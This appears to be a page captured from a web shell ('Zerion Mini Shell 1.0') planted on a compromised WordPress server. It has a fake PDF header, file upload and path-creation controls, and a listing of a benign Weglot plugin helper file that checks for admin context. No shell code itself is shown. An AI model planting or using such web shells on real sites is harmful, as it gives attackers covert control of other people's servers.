%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/1618475457800/wp-content/plugins/weglot/src/helpers/
Upload File :
Create Path :
Current File : /var/www/html/higroup/1618475457800/wp-content/plugins/weglot/src/helpers/class-helper-is-admin.php

<?php

namespace WeglotWP\Helpers;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


/**
 * @since 3.1.1
 */
abstract class Helper_Is_Admin {

	/**
	 * @since 3.1.1
	 * @return bool
	 */
	public static function is_wp_admin() {

		return is_admin() && ( ! wp_doing_ajax() || ( wp_doing_ajax() && isset( $_SERVER['HTTP_REFERER'] )
					&& strpos( esc_url_raw( $_SERVER['HTTP_REFERER'] ), 'wp-admin' ) !== false ) );
	}
}

Zerion Mini Shell 1.0